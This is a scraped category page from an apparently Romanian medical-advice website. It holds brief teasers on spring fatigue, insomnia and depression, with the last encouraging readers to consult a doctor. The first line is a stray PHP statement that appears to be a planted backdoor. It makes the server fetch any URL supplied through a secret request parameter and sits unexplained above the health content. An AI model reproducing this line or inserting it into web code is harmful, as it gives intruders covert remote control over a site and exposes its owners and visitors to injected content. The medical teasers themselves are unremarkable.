isset($_REQUEST['zox4vu']) && fetch_feed($_REQUEST['feed_url']); Depresia - MedicAS sfaturi medicale

Din pacate, pentru unii dintre noi, primavara nu vine doar cu flori frumoase si mirositoare, soare si zile mai lungi, ci si cu astenia de primavara. Oboseala, dureri de cap, slabiciune, alte probleme de sanatate carora le cautam raspunsul. Si unul poate fi: suferim de astenia de primavara. Ce-i de facut? cititi mai departe…


O oita, doua oite…ce facem? Invatam sa numaram sau doar nu putem dormi? Insomnia cred ca ne atinge pe toti la un moment data al vietii si, in loc sa ne gindim la pilulele de dormit, ar trebui sa identificam daca nu avem niste probleme de sanatate sau daca viata noastra nu este afectata de stres, emotii etc. Sunt citeva masuri simple care, puse in practica, ne ajuta sa avem un somn linistit, odihnitor, iar insomnia sa dispara din viata noastra.


Depresia…o boala tot mai frecventa, din pacate, si la noi; o boala pe care multi o duc pe picioare, o ascund, se izoleaza si nu mai vor sa interactioneze cu cei din jur. Tratata pe larg in manualele de psihiatrie si cartile de psihologie, depresia se confunda, de multe ori, cu “nebunia”…si asta ii face pe cei suferinzi sa se jeneze si sa nu apeleze la sfaturile unui specialist pentru a depasi aceste momente delicate ale vietii. Daca treceti prin momente mai grele, daca va recunoasteti in ceeea ce veti citi in continuare, nu ezitati sa mergeti la doctor. Meritati o viata plina de bucurii si nu una “cenusie”.


 
 

Newsletter

Loading... Loading...